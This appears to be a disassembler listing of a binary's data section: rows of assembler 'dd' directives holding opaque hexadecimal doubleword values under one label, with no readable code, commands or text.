dd 840CC387h, 23246A18h, 53BECA6h, 0DD0B6DE3h, 83288319h
dd 9141B0D0h, 33899505h, 0C9819CD7h, 15E0EC4Bh, 53220499h
dd 0C8E81351h, 4ECC9548h, 3004D2BEh, 0EB48E41Eh, 5300BD6Dh
dd 1B5AD19Bh, 1C4F89h, 0ACDF19FFh, 743AE809h, 8451F228h
dd 0B50D3802h, 43EAA23Fh, 95F0C1D5h, 0B6B8D8h, 4BE84A79h
dd 0CEFC2765h, 0CBA5C000h, 0FA2D678Ch, 0A06A1F98h, 0B6A70403h
dd 0EC5BC395h, 0E2235600h, 6BC38DBBh, 0A89700A6h, 70778826h
dd 8B26710Eh, 0E1810D51h, 116980AEh, 47D0FD25h, 684203E5h
dd 5CFFD2Ch, 808D3BA8h, 0A1A93C00h, 0C2FB188Eh, 57FA006Ah
dd 0E311407Dh, 4F7F7C19h, 5E96BC00h, 0A0DDB7A4h, 79430071h
dd 0E184FADCh, 1BB08BB2h, 0C548D701h, 72AC7028h, 0F53630h
dd 8DC0FAD4h, 2165955Fh, 0AB53D301h, 648F6ADh, 12880F80h
dd 0F32D13B0h, 31107100h, 0DB093874h, 0C600011h, 0C0EE5021h
dd 75F88128h, 7B433Eh, 0EC1A4986h, 17508522h, 47457F25h
dd 0E32F4CFEh, 0EAB1DC0Fh, 0B83F60AFh, 70440A05h, 6980B379h
dd 99B7F37h, 320C5124h, 4127E781h, 97367407h, 1296A25h
dd 0BE7AA888h, 0FEC01E65h, 0C2330BA1h, 0D9055B82h, 0ADE002Fh
dd 0AE72A0CBh, 18466D00h, 0BDEB1654h, 90BB00F9h, 30639E62h
dd 10E3E02h, 42E0A4D2h, 0FC864775h, 0B8500001h, 78902EEFh
dd 2D973500h, 0F32522F4h, 4B630F5Bh, 9481D8F7h, 2AB59FFCh
dd 63BB1E16h, 59A68C2h, 4E10147Fh, 0BB99D83Ch, 0EBA0740Bh
dd 68BA6005h, 282E5B90h, 0BDFA5F4Bh, 8F292154h, 7B08472Dh
dd 6D8B1F75h, 807417FDh, 0FFFDD65Ah, 0B8182D49h, 388A922h
dd 0E0F4C5h, 27D7D19Ah, 616F2AEDh, 5F001F7Bh, 0D54B7D6Dh
dd 0FA77E73Ch, 0F07E1F23h, 9467009Eh, 0F6F85131h, 63700D00h
dd 84127642h, 27880006h, 49AEEDA8h, 0FF7E4879h, 64151100h
dd 45834F77h, 9CF0046h, 0D4B78FEh, 14005655h, 0EC1FF32Eh
dd 2A8D19h, 6AFF1E63h, 3F7D1A98h, 0BC9C800h, 0BA28B955h
dd 4D890553h, 5CE8117Ch, 695600BCh, 5A8F1E98h, 0CCB86600h
dd 0AEC28193h, 0BB20DE71h, 3651E886h, 0FE033BBh, 0ABF0B728h
dd 53B41300h, 0BE66565Fh, 583B27E8h, 4701AF54h, 880F4C3Eh
dd 0C181B46h, 0BF85282h, 0AB7AD42Eh, 0B4CBEF07h, 0B9A11CB7h
dd 20E27Bh, 5260001Ah, 5ED3EB80h, 45DE0CE9h, 664AE080h
dd 25A575h, 0F837E363h, 0EB8161D3h, 0E63F860Ch, 185F3C55h
dd 1AC9E180h, 0B78B82C3h, 9E957230h, 5FFBF83Dh, 0F6880D8h
dd 0ADD9485h, 8D5FF5DCh, 7B0CC4C1h, 41308204h, 30CA786Ah
dd 1B08052Ah
dd 6940AD81h, 37678C4h, 2A3C0301h, 213ACD06h, 4D61262Eh
dd 4A441130h, 4990144Eh, 2B061C14h, 1130ADC7h, 0B5598C03h
dd 32391D3h, 0AB18581h, 11012EF5h, 1BF9BF9Bh, 510789A0h
dd 0C95204EBh, 99F00984h, 0D5F609A0h, 210020F5h, 0F90A6B9Ch
dd 87853028h, 9EC0A10Fh, 447CC1ADh, 90C1918Bh, 0E9681080h
dd 15582CD7h, 3F104600h, 2B041B16h, 457A3B80h, 60888451h
dd 383EFE50h, 2630F895h, 0E36C10E2h, 0AF773F68h, 0C4645F03h
dd 0DDC10C09h, 0CA6EF0F2h, 3E621B3Eh, 5A14D0C5h, 73F6F7Ch
dd 0A8F46851h, 4111D217h, 742C008Ch, 67951E44h, 0CDC84CA5h
dd 21250866h, 12FC4D58h, 8A12D7C3h, 5F9BCE03h, 829FF977h
dd 487D8C50h, 976837C9h, 0CDF6D0E8h, 0A255D88Fh, 25D32094h
dd 4FD46B01h, 0C890D3CCh, 4A0A3883h, 0F9043EC5h, 0F77D45B8h
dd 73679802h, 2C2D1040h, 14EC8F89h, 8820A75Fh, 89CF7A34h
dd 2C1025D7h, 30386080h, 77630014h, 76C94248h, 0F70A17F3h
dd 0E07AAE73h, 1E12B42Ch, 0E03B0840h, 6A46B87h, 9C10E8FDh
dd 376108C5h, 87D86221h, 2E2FC770h, 0F81261Eh, 45FD3FFDh
dd 0ED3129Ch, 0A1CA1BB8h, 0D9698C94h, 0F9005191h, 0D115F5E3h
dd 4B68F0h, 395EB267h, 0B55D2CA0h, 55CD93Dh, 0B424A94Eh
dd 0F074AC0Ch, 0D23C40BDh, 0D366A014h, 88C424B0h, 0C8696D04h
dd 0DEC0E44Fh, 3F604DDBh, 50458519h, 2180D808h, 0C5DE5E06h
dd 0EB3D842Ch, 1F8D8014h, 15AA48A5h, 18AD24F6h, 0EBD88000h
dd 65FCA80Fh, 48F89700h, 0BE70662h, 0C1C674D1h, 0B9520C80h
dd 1B988722h, 918177DAh, 0B881BAEAh, 0FACC609Ch, 0DCC3E0D4h
dd 2F579B02h, 400C816Ch, 4052B070h, 1400E2F5h, 0C90A47C2h
dd 123A8130h, 4A85DC86h, 407072F8h, 4DE0DE6Bh, 887A8846h
dd 55EC630Bh, 0FB46D11Dh, 83FE7080h, 30522CCEh, 4E6002D0h
dd 56057E19h, 31F216A6h, 0D5459E80h, 894F0053h, 0D384856Eh
dd 0F8AB1F97h, 0FDB79010h, 4C9A2860h, 9088684Fh, 30CC881Dh
dd 49502D00h, 4F8D7BC5h, 3A0813A5h, 0CBA7005Fh, 3E620F16h
dd 0CA6CC601h, 14DF729Fh, 929603D8h, 0FEF8B014h, 0F27472E8h
dd 0AD79EFh, 0CC13D212h, 4F2B0CAEh, 0D1D3A813h, 0DB4C2101h
dd 0A030641Ch, 5E1488CBh, 1E7CB2F0h, 0D4137C77h, 2802F1C3h
dd 60C1D2C2h, 80841784h, 0CE283EA6h, 4D7C8010h, 0DC924028h
dd 45E1731Fh, 0ED05CD40h, 0A0549C27h, 9F6AFB3h, 72A5C25h
dd 17AC2810h, 6001892h, 47627904h, 240863E3h, 0AFFB4F6h
dd 0A0EC7A6Dh, 11C620B8h, 39C0AC76h, 0F06FB0Bh, 88F101F5h
dd 0C75CDEAh, 4253717Ah, 0BC83662Ch, 0D184994Fh, 51860334h
dd 0BBC50198h, 5CB80008h, 0EC3D5ED4h, 9FC52h, 4FE71F30h
dd 4D81A704h, 90891492h, 67984E01h, 99BCAC08h, 0D8A70021h
dd 5C2E9233h, 0EB00F858h, 0D1D2D4EFh, 5566155Bh, 0FC40C079h
dd 17534A6h, 69C5C7EBh, 232A19A0h, 30DDE260h, 52E47279h
dd 1335300h, 0C94D8486h, 809350C4h, 3440083h, 2AE2088Fh
dd 6A301997h, 0A00741CEh, 745D00B1h, 1DD631D9h, 0E024F497h
dd 87804825h, 2AAE9E4Ah, 205500CAh, 2C56A952h, 3E7111B0h
dd 2CFA865Ch, 0A212A787h, 0B8006C52h, 16A430E1h, 201E6A72h
dd 362603E8h, 107A2352h, 5020A0B0h, 9407AC6h, 1CD2AB85h
dd 15710C81h, 23343195h, 30D9A258h, 3509964Ch, 89F79AB0h
dd 4C88118h, 48FE164Fh, 5212C60h, 1B09ED8Bh, 25C0B9Bh
dd 0F1B0D003h, 0C884519Ah, 0DBF4D816h, 0A4668708h, 0D35D70D5h
dd 59874Ch, 91C4ADBh, 90240288h, 1912219Ch, 24A9C408h
dd 0FD440F08h, 0B861A01Ah, 0FE7518D3h, 6F95231Fh, 4E002411h
dd 0D4EB446Dh, 0C3185382h, 5C481E76h, 0D1856003h, 73CF1CA1h
dd 33700A49h, 980902h, 0CF14C121h, 83C9C6E6h, 0B6402A02h
dd 2C811FF4h, 8090CC08h, 0B9ACD944h, 0C7EE039Ch, 0D0E8E0AFh
dd 935EA4h, 0F514DB03h, 0CC110025h, 0F915D002h, 43977BCh
dd 0DC50AA7Bh, 0B8034E24h, 591EAD0Ch, 997D5057h, 31440052h
dd 0C640DB8Eh, 0C8023A43h, 0DF3805D4h, 69D8460Ah, 895DE0DDh
dd 0C7F09036h, 41D7816Fh, 0B0A4B8h, 31D3D179h, 3992A99h
dd 52B1808Bh, 67114EACh, 71BD00C5h, 379522C9h, 9631D3A5h
dd 92043130h, 807CDB11h, 50333D2Eh, 0D97ACDh, 2757E516h
dd 61AAFE4Eh, 90431530h, 5E1EC0Bh, 3FAB3E7Fh, 0ED4C1DCh
dd 4BE202CCh, 2A59BE84h, 0F2B4D36Ah, 5A5C0762h, 60EA51FAh
dd 0B8CF35Bh, 73773914h, 15F23F4h, 0A76CF1Fh, 8B961821h
dd 61CF1798h, 0A94DBD05h, 88008364h, 0C87DE76Bh, 30DF789Ch
dd 1BE81C9Bh, 908884A5h, 0A7071683h, 0B0C0059h, 0FC8D2ACDh
dd 6409E11Ch, 1AAA06C4h, 41076C82h, 7318D160h, 951D4408h
dd 4026C45Fh, 0B9446B4Ch, 0BAFD00FAh, 0E1B21556h, 0A82E3524h
dd 58BC18DAh, 0A2A1608h, 0DEADD823h, 6E732441h, 0F5AC0090h
dd 1AE84B5Fh, 9D008A90h, 0D8BFB455h, 0F342FD7Fh, 28000063h
dd 3FDB820Fh, 3B000979h, 0DA7214FFh, 0C097F650h, 0CDD16CA1h
dd 96F51Ah, 35378785h, 0DB28E207h, 4FE27411h, 40206CF1h
dd 4876480Ah, 0AC906989h, 852C5E75h, 0F50080A4h, 63CAFEEFh
dd 46093F50h, 1724D902h, 7C504AA0h, 1253901Ah, 0E25C43D9h
dd 0C3E200E8h, 0A45060C1h, 3582AD8h, 0D6458144h, 77F07076h
dd 94063CA8h, 9821C4D1h, 0DEB333EEh, 18784D89h, 610988DAh
dd 70098DFEh, 80CDD03Ch, 9E36A6D4h, 38C28232h, 3CC69498h
dd 781D4B0Eh, 0C140A51Ch, 798898h, 3F284DE2h, 444F123Bh
dd 3E50E160h, 80228236h, 0EF26A951h, 818980F3h, 0DFB0B01Ah
dd 0A46A1187h, 803488F5h, 3687D761h, 7E00223Eh, 0AE031ACCh
dd 1A145FE6h, 291CC4E2h, 35112C17h, 2ACB5580h, 270077E0h
dd 66DD4584h, 2786FAEh, 0C52B651Ah, 0F7407570h, 0CF546A7Bh
dd 1D00A8A0h, 5B9414A7h, 7B7D3338h, 0FD3B0039h, 5A0C7C22h
dd 4982AADh, 0E7DB9705h, 46871682h, 1315943h, 8A900C18h
dd 743CC947h, 0F50C1BA8h, 0CC6E5CDDh, 0F42A49C4h, 7206A405h
dd 46A42111h, 1AC4603Ah, 6406CDB0h, 1DE63E9Eh, 80C40520h
dd 3C17D132h, 3646E720h, 4E10B858h, 10A0583Ch, 747C8BE4h
dd 50134941h, 3B953A79h, 281E6880h, 0A56C9150h, 18307681h
dd 449D0C03h, 0D3306B3Fh, 0C398F63h, 0EC097CD4h, 3A91264Ah
dd 9A508590h, 66F0C8ADh, 45C7BD00h, 0A6C163DEh, 0E0340357h
dd 0A33091EDh, 789C6800h, 9F923EF8h, 0D017091Ah, 9800EF0Ah
dd 0ECFB45D9h, 6B9AA400h, 0D34648A6h, 243900CFh, 12699C1Fh
dd 0E83FEBC5h, 0A26044Dh, 2CF0117Ah, 9AB81835h, 0AE0248D1h
dd 9526B4EAh, 60CD8EBh, 448619DBh, 89EF4CDh, 51FE8Bh, 0A80219E5h
dd 251C008Eh, 4CB2096Fh, 3900FF57h, 0D21BD931h, 0F8D1F43h
dd 0B65EE14h, 21499123h, 54F5F918h, 1D6E9C51h, 80A56AD9h
dd 108E072Eh, 581FAD84h, 40A0E51h, 3680A490h, 0EF61852Ch
dd 8F4000B2h, 27AE5CEEh, 0F5059629h, 0BC4806Ah, 0A995380h
dd 0D32C5020h, 55C00038h, 405CD613h, 0B72E1832h, 0AF00B4E8h
dd 23C79E50h, 0BBAC3F95h, 43C6BA1Ch, 0CCB44A39h, 0CAAAB0C0h
dd 0B560AF1Dh, 0D4A93403h, 9D70C79Fh, 1DB240BBh, 36F5D8h
dd 0A737AC0Dh, 0E000C4BAh, 0C86DC9B6h, 0A19FAAh, 0BFB8C136h
dd 0CAC7A724h, 0B4B13D02h, 941E39C0h, 0B3D33C38h, 0A57BF73Ch
dd 0AFD64318h
dword_4FE044 dd 0D1CEF9A1h, 46B080BAh, 4D23C6A5h, 0DF6D00A2h, 0D6CC9EB3h
dd 9D010D4Fh, 0A0BAAD3Dh, 0AAE051C2h, 0A9AB0527h, 31DD9A6h
dd 0C3DABE68h, 0A0BDC9C1h, 5FF19839h, 1460C04h, 98161007h
dd 0BC393C60h, 0B4E78000h, 0DF6721F1h, 0A2988E00h, 9D172964h
dd 30236037h, 79871D2Fh, 86C319C0h, 0A045671Ch, 0ABAE08h
dd 9A12E20Dh, 4D92416Ah, 2C370E28h, 17F7B002h, 0B107B68Ch
dd 88A31D0Ch, 616B8C0Ch, 0E30D5A30h, 58692512h, 814CA090h
dd 0FCC0871Ah, 0C5BD4086h, 0ED66E8AEh, 15592940h, 781A69A3h
dd 93C3BD0Ah, 0E1E81F58h, 0B09014DFh, 77DBC8EFh, 0EB90EEh
dd 0DD3B6AE9h, 781D9246h, 0CC9C49FEh, 18FF1C16h, 2C9A28D6h
dd 1A8ADB1Dh, 0CDF140Ah, 13600D02h, 88E44809h, 1537070h
dd 54EC172Bh, 0D06C944Eh, 0CA050A1h, 2F0A06Dh, 0FFC6E48h
dd 40470F82h, 0E1146734h, 94E603C8h, 463299E0h, 0CAF191Eh
dd 14456413h, 58000AE4h, 16D65AA0h, 4464A721h, 0BE5440CBh
dd 0AAB8EA94h, 3ABC048Ch, 4FB80824h, 0AB1B546h, 3102708Dh
dd 19AB85F0h, 4DF832E2h, 1E35E082h, 9495C61h, 2CDE4821h
dd 0FA600740h, 819F50C1h, 458CA42Ah, 80E41A01h, 8ACF2CACh
dd 69486C98h, 0C4844198h, 4BF0DA90h, 9D6421A5h, 1ADF170Eh
dd 28223551h, 89DF8811h, 4AFC3E0h, 0B0202D64h, 48A339D7h
dd 508093C9h, 97BFDFE0h, 0A910C91h, 2D8D8042h, 0F30C1899h
dd 0B47013Eh, 15CE5AC2h, 8E934204h, 8A9D8899h, 0F46DA3E0h
dd 70855610h, 1C942362h, 40F467E9h, 4F6AECC8h, 28470724h
dd 80509B44h, 9946C1A3h, 97F140Ch, 0E0CE048Ch, 0CCFE6ACh
dd 7CFCCDB3h, 0DA32129Ah, 61A83277h, 3D518028h, 0A0C99A3h
dd 128C9CFBh, 9E9C6ACEh, 0C421D463h, 0D493297h, 1B90A04Fh
dd 0FDDD9CB0h, 14A0E924h, 0D6D85894h, 9F347421h, 0E25061ABh
dd 63EFCACh, 990D6F64h, 28535160h, 89816FA8h, 56B4912Ah
dd 3054EC23h, 6558936Dh, 6A4C5288h, 0D7CE882Ch, 37FCAAC2h
dd 0B20CECC8h, 0DD100Ch, 0B3F416A5h, 42370DEFh, 7818836Ah
dd 28895708h, 51A444DCh, 60388718h, 0CC5CB18h, 0DDDF22B2h
dd 8B7C4770h, 82815388h, 4A1E9C04h, 0E8603C57h, 8FDB705Bh
dd 9080920Fh, 0A50DE3B0h, 63B11523h, 2CE4615Ch, 92513A49h
dd 7EE684C7h, 0C410B709h, 0DF13BA9Bh, 8850713Bh, 54DC07C0h
dd 0CA03147Ch, 166E353h, 0AB472B19h, 4056A873h, 0C82ED6F7h
dd 20D3EB31h, 7EF0EEB7h, 4CB9062Dh, 396A8D0Dh, 2B2EC700h
dd 5A1CC5F2h, 4310C3EFh, 15E02417h, 90609103h, 600E3540h
dd 0C528008Ch, 679EA92Fh, 0D102D20Ah, 2026A338h, 60878156h
dd 0C1801E18h, 5CE4B7B4h, 8F18198Dh, 6F190FB6h, 0DE4E00BDh
dd 0D30450E5h, 5E0006CFh, 569BEFC9h, 6DB7AEh, 1B291461h
dd 0C248DC7Ah, 0CE686001h, 0E803749Bh, 86A04884h, 301CD405h
dd 1AEEB84h, 846F6239h, 8D438AC9h, 20CD5C90h, 87630380h
dd 97EEFE89h, 5E2412E5h, 0B45D0194h, 200E95B6h, 8F00D074h
dd 0EB247F71h, 0FEF37A6h, 0F214F058h, 834E4880h, 8D070CD7h
dd 7F04B313h, 0BA837EC7h, 8A01C00Dh, 29DB0011h, 1BBF1043h
dd 0A20A134Fh, 14D6821Eh, 7AB9E3EFh, 813007CCh, 0C1BC08D8h
dd 8A0DBFh, 758C59h, 12840CC7h, 352D5BC5h, 0BF05B203h
dd 90489082h, 0C09AA37Fh, 8401A218h, 70ED97Dh, 86B182C0h
dd 74281350h, 20B40E8Bh, 0A818188h, 86A383C1h, 50BF7678h
dd 1DB10C50h, 835981B9h, 0C59CD29h, 80842994h, 0CC57A4Fh
dd 0A2660A88h, 288C108h, 0BE75851Dh, 0AF83148Eh, 8B9CBABh
dd 0F028E0F4h, 2018D86Fh, 1D4825ADh, 2AA430FFh, 93E9AF31h
dd 69829E00h, 9EBD72Dh, 0A85002D5h, 0A05ECE80h, 0DC2F4F60h
dd 58D1A900h, 5F73E12Ch, 0F4060090h, 8733B72Eh, 941CCF3Bh
dd 0E98C7125h, 72D71D0h, 0D5C24BDFh, 0E633A024h, 7303A72Eh
dd 1CAD9EF2h, 0AB2801F1h, 632A6F56h, 8C2CF16Eh, 0A1755898h
dd 0E418A3A9h, 26F6859h, 6D5810ECh, 53031C0h, 30D62F91h
dd 73595733h, 0B48829A5h, 2D82802Eh, 4A4052F1h, 0D13D00Bh
dd 2D960FE6h, 3091B1B8h, 0C01F0D4h, 0FF798CD9h, 3058317Ah
dd 0A6282F18h, 906E9F9h, 84FA6985h, 16923C41h, 285BA99Eh
dd 8615E0D0h, 0E411D943h, 0E16C811Ah, 0E851B6C3h, 0B983D357h
dd 0B46F12Ch, 0FD716807h, 0A423F7F9h, 0BBC83129h, 31AC76F1h
dd 3DC043Eh, 0F55BEF78h, 811931CEh, 2F18D7DFh, 14124C51h
dd 0D5515847h, 918E2213h, 9769E9B0h, 0F039180Dh, 0DC302DB1h
dd 0B90C3104h, 0F118C591h, 0AC4C0AFCh, 60E8A258h, 742B9167h
dd 5247771h, 524078F4h, 54C8F9A4h, 4210A40Ah, 4DE3B228h
dd 1BB8B174h, 4C210BA5h, 56901508h, 0F9116643h, 0DC2C8279h
dd 0CD28847Eh, 4271882Bh, 0BB1F8FE5h, 0C8069A91h, 0C89D476Fh
dd 0C8E9427Eh, 6BB544A5h, 1078782Bh, 286D8A5Bh, 40ED217Ch
dd 639FD04Eh, 853BE150h, 3D8A8310h, 4529D4C8h, 58092843h
dd 445C9228h, 0DFF0226Ch, 8960724Ch, 5234A14Dh, 6022F607h
dd 804E5906h, 40D46115h, 0F0E91184h, 0A1783901h, 0F3A52A1Bh
dd 2D0C22DDh, 0FA6E7C61h, 3291B806h, 667062BAh, 496E112Ch
dd 8C48A471h, 0CC201384h, 9E28D2D0h, 0F55174AEh, 59C04650h
dd 8141086Fh, 13D62524h, 3F4420D2h, 0A0A4F560h, 53988256h
dd 0B04960F0h, 269EE76Ch, 9EE42559h, 0BE77805Ch, 70828407h
dd 7F0E1D76h, 2E750EB4h, 784E80A2h, 0BA47A3h, 6123C46Eh
dd 8A04B01Bh, 0E14365Ch, 807013BEh, 49B4778Ch, 0D97E07C0h
dd 4610741Ch, 0D8612805h, 1DBF7810h, 7C514F0h, 700D8302h
dd 0C413A01Bh, 6F784E49h, 752E077Ch, 801E38B4h, 0BE5A0Fh
dd 7B4D1BD7h, 5684A47Eh, 0B0BE0429h, 80A335h, 81830AC5h
dd 12BC207Eh, 83189052h, 5273EFFh, 9AC7510h, 0AB84C0D5h
dd 3212367Eh, 6C9B9210h, 59F28C18h, 6C261D5Bh, 0FC02681Eh
dd 0E0C08733h, 0B850F1F4h, 2E590028h, 9FB4ED99h, 0E67835AEh
dd 0E847D600h, 595C663Ah, 3C2A094Bh, 0B846F302h, 0D5D7311Dh
dd 0D8FC5440h, 7C7233F9h, 255B0D7Fh, 0F1707566h, 6ED870C4h
dd 150381C1h, 0D983107Ah, 0D6862BD9h, 0D38C29A1h, 1CD4F818h
dd 548EE7C0h, 45B7C76h, 9787E67Ah, 0ABE0794Ch, 5444589Dh
dd 45A4167Fh, 687818B4h, 0C52001E6h, 215D033Dh, 96E9B72Fh
dd 0BC17F82Ah, 0BBC3E106h, 10400818h, 40B89BACh, 0A40F2D9Ch
dd 0AC5980E0h, 1514B1FCh, 8CAD30E5h, 7CA710C0h, 0B08DD650h
dd 40AFEF81h, 0F22D5E0Ah, 8F8F8C57h, 9E966031h, 94FF6CA2h
dd 3A023E48h, 7CBC056Ah, 0E909B7FEh, 0A22C6BF9h, 2E4886EEh
dd 2CAA4948h, 641532C9h, 0F59C2E6h, 63138ED8h, 2122E380h
dd 2B000738h, 0FE719BA8h, 0A37F8Ch, 0BF80A449h, 0CD77BE50h
dd 78B34FF0h, 50070C16h, 0F7B1EA1h, 2E758054h, 4E74FCDEh
dd 346C007Bh, 0CE6626ACh, 0B0044A6h, 0CFD776A7h, 0ACEC1CC5h
dd 0E6930504h, 34CEED0Ah, 2008010Ch, 0F28D0CD9h, 3031D625h
dd 849E416h, 0AC2DE430h, 880F5888h, 26D2DE21h, 5709B2E4h
dd 6829D062h, 22AE9108h, 0AD8678D7h, 21361930h, 441CD22Ah
dd 81CE6034h, 89191A4h, 707F149Fh, 1087B286h, 0BE9CE24Dh
dd 97B2700Ah, 6F33410Ch, 8C4D2Ah, 0E8D21650h, 2AE4B050h
dd 9912B89h, 442D222Ch, 70896F2Eh, 22242112h, 24912348h
dd 26442522h, 12288927h
dd 487A2479h, 3E3C913Bh, 0E7DA003Dh, 0C3155E39h, 2E5C31FFh
dd 9492D7C1h, 0B284F1B8h, 58049770h, 8A12D95h, 0B4BC40CAh
dd 2907B6CDh, 3990D7C1h, 0FAC3EDC7h, 4EF0C72Dh, 0EAB5F24Bh
dd 0C8CD3C83h, 0E97B1A6h, 388EE928h, 4019E18Fh, 4BBE01B9h
dd 27005A02h, 3CF26B4Eh, 67242ADAh, 0DD04680Ch, 2E93D9FFh
dd 0C00A1430h, 22A302FBh, 0D6B031E6h, 384A9407h, 0C5808055h
dd 9022441Bh, 1CE02781h, 991F35Eh, 0B184141h, 0E0AEFA04h
dd 725871h, 1CB8EEAFh, 0AB73E56Bh, 0B23C10A0h, 0AC389052h
dd 0EF6A0E62h, 0AF834F41h, 0B9E3AC64h, 0C9071900h, 0D7685512h
dd 0E13D14B4h, 3A3E1CF3h, 0B75F1C00h, 9336AAB0h, 0E5B728A4h
dd 0EDCE03E4h, 417A30B0h, 30791833h, 175AE0D0h, 7FE200BFh
dd 0A8EE7D44h, 0E8008F1Ah, 0FCBE13A4h, 0EB01B6Fh, 0C50D4E07h
dd 0D2F26DC3h, 0B47789D0h, 13600E00h, 11851FA2h, 14EA1FC5h
dd 0BF0A0121h, 0D00EC382h, 0C03D97Ch, 308F178Ah, 0ADEE089h
dd 0C67F30C1h, 1DA36F40h, 0F9057BF8h, 90758B07h, 8003405Fh
dd 0C05002C6h, 0F8B029D1h, 0C10E3CCCh, 0D6013053h, 818405D2h
dd 0F81C4CC5h, 12830A10h, 0BE311500h, 0BF80C107h, 42600553h
dd 0BF83ACECh, 631DA444h, 0C90A435Ch, 0F6EB181Ch, 7A5160A4h
dd 59127D3Eh, 302C81B5h, 13BF0008h, 41C007B1h, 580A2A61h
dd 38367E06h, 0DCC12DC7h, 0DBD45847h, 774F0A08h, 0E81435CCh
dd 358FE040h, 0EB013858h, 0B2758830h, 0E644890Ah, 1CBEF840h
dd 0BF633CBCh, 405DB8C5h, 0FDC30F5Fh, 0C11BA900h, 9022A3E8h
dd 0ABF3B4Eh, 85226h, 448006C5h, 35F90DEBh, 0DC81F000h
dd 84D628C1h, 98245859h, 0C77500BBh, 0C406795Fh, 7C4C851Bh
dd 0C0506E40h, 0A2D31459h, 2033F135h, 7C516C50h, 0BB02240Eh
dd 581C09ECh, 7F5C7430h, 90CB387Ch, 5D1C97D6h, 4DE96200h
dd 208BE78h, 59D436C1h, 65557790h, 558AA98h, 0D9809049h
dd 7E54801Fh, 764C444Ah, 13C000D0h, 7781498Ch, 5340DDDBh
dd 36C000B5h, 7E4E01A3h, 834F701Ch, 4C023C7Ah, 612300ECh
dd 8606C477h, 1CD91F74h, 1DB109C0h, 8F97FC87h, 1BC00172h
dd 8CB47F81h, 60D87E10h, 0ACD94810h, 1E708201h, 2AC57B85h
dd 408FD8B1h, 3ADF6F74h, 75C87732h, 4B55DE42h, 0FC4BE7D4h
dd 86A04C94h, 0D0AC814Ah, 0F84AFDFBh, 89590574h, 0CC057074h
dd 0C50534D4h, 0B3369051h, 42608Ch, 880AECD2h, 0B9597013h
dd 0D2B88049h, 7FB03DAEh, 75825CC0h, 1D83E8B4h, 0CF07C566h
dd 9098C914h, 8C581DBFh, 70F75F7Ch, 0CB54727h, 396282FDh
dd 0C4C81189h, 500BBD33h, 38C57485h, 4C0970E4h, 0B1CB0C4Eh
dd 0A0839801h, 0C5DC600Dh, 0D1D821E9h, 0A3E3E30Ch, 48C4204Dh
dd 770191Ch, 0C2FE5909h, 98E494C4h, 4138D3DCh, 8526BAC0h
dd 55207082h, 10B57526h, 0DB69131Bh, 764FC1BFh, 20721CD1h
dd 2C818414h, 0CF3C87B4h, 1DA31300h, 3498844Dh, 1B58B560h
dd 1FBF1174h, 3083A506h, 26B934B0h, 48185E53h, 98C70B50h
dd 0F50CED2Dh, 1635EBD0h, 0C9DF0642h, 0C880E084h, 0C9150D21h
dd 18177CE2h, 0C8403196h, 0C57CA91Dh, 3EC15A07h, 0EC28050h
dd 2CB57A60h, 5D8901Dh, 0C3844507h, 0C5E08564h, 40AA8950h
dd 0AA94F8D9h, 0D0360750h, 0E441A539h, 2074BE1Bh, 0AD7E4BBBh
dd 51C413F0h, 0C10C44C0h, 7BF2E7Fh, 8C964E78h, 0AB7429D4h
dd 82EEB400h, 831BD97Ch, 0ECD3A74h, 0AE60179h, 0BB17FBFh
dd 0E7907089h, 6F1F4404h, 316BEEBh, 2D87D50h, 0BD0B2101h
dd 500AA282h, 8308908Bh, 0B68A80A4h, 15140CC8h, 521689Fh
dd 784DE6D3h, 80800AB1h, 31815D34h, 7E4E0EA1h, 34D0507Dh
dd 8DB0BBEh, 0A90EEC0h, 9107B01Eh, 6D4903F0h, 0A9A0F922h
dd 803A280h, 1C636BFh, 89210186h, 4D1BB46Eh, 8402D011h
dd 0E8B8744Bh, 0B20E9065h, 0DED613E0h, 38358084h, 5FCF102Fh
dd 0C01BB181h, 0BAE88621h, 0BE28B37Fh, 33740460h, 11C84A1h
dd 7F8C1DDCh, 13208FCCh, 77BE04C8h, 2CEC89BFh, 0DDE05DB8h
dd 28C4EA94h, 8C8480D2h, 306F2827h, 0D02D5F8h, 3A701283h
dd 0C0888AD8h, 0A420DC81h, 7D0D251h, 808947D8h, 118405D1h
dd 7F04DB4Ch, 7780BF50h, 490EA302h, 850CACDCh, 0F043B4B0h
dd 0D182FF70h, 0DC7CE9BFh, 840941DFh, 9050707Bh, 0A3291EE9h
dd 89DC2958h, 606B2A93h, 52A23005h, 0D4A2D248h, 66A50704h
dd 774482CCh, 6453F49Ah, 0B4F0A427h, 30E02084h, 0E5D20F4Dh
dd 0B5A6BF02h, 0EC60E80Ah, 7D97AC0h, 2FD64A8Ah, 0A487FA18h
dd 119D0630h, 99264E00h, 9FB94A66h, 139E6C3h, 8EF443Eh
dd 2FD973E6h, 0F6D4F4h, 2C58E455h, 169396E7h, 103A0E30h
dd 60EDABAFh, 1E8F283Fh, 0FD277165h, 1C4544Ah, 0BFCFC029h
dd 83886FCh, 9886997h, 73AFE9A2h, 1DF08077h, 80F9FC6Bh
dd 0E80609DFh, 8037F1ACh, 0A3F20520h, 3C214440h, 0FA461A20h
dd 0F9678219h, 56A8C0C8h, 0EF0A7D03h, 88B69AD9h, 1EEE74Fh
dd 0D686673Ah, 802F81C1h, 530C7431h, 722E531h, 32AD2E84h
dd 8C484973h, 5300246Eh, 409E860Dh, 59FF9DC1h, 76006480h
dd 5D92DDAAh, 4200571Ah, 481D4D3Dh, 0DE9A94h, 0D4A224D8h
dd 0F186110Ch, 1413A31Eh, 75A4DC54h, 7CB9832Bh, 3B123C10h
dd 9C26FA67h, 0FB4D2BF0h, 587AC498h, 0A68F99h, 8505DD91h
dd 3242E569h, 3B105C00h, 71AB657Dh, 0EE0A243h, 69E28C88h
dd 59F4ADh, 7E852FA2h, 356D8D1Eh, 5600C7E4h, 0BA486329h
dd 78716415h, 0DB6080B6h, 14D5B124h, 0A9AC3940h, 5B7D8035h
dd 61597EAh, 0B87C12F4h, 0A0FA46EFh, 8684F593h, 0DC391206h
dd 80CCB1h, 7E1BA88Ah, 0A615594Dh, 2A60509Dh, 0FF81D81h
dd 95BCB103h, 0A5B21640h, 475C0E49h, 58DE0023h, 155F8A1Fh
dd 3898E536h, 29DAF832h, 92FA4415h, 6F3E8Ch, 0EB390EEFh
dd 0CC10EE50h, 0CF21A509h, 0F13AEFFAh, 76F986B8h, 0C17859h
dd 57F3E8ECh, 0FCFAA29Fh, 0A60061F8h, 0EE1AF169h, 49E81312h
dd 0DAED2496h, 0E488A8B5h, 88FFC4F4h, 0D5034300h, 3ECB970h
dd 0A4700C12h, 5698D69Dh, 321E5779h, 6FE392Fh, 7A36D5D4h
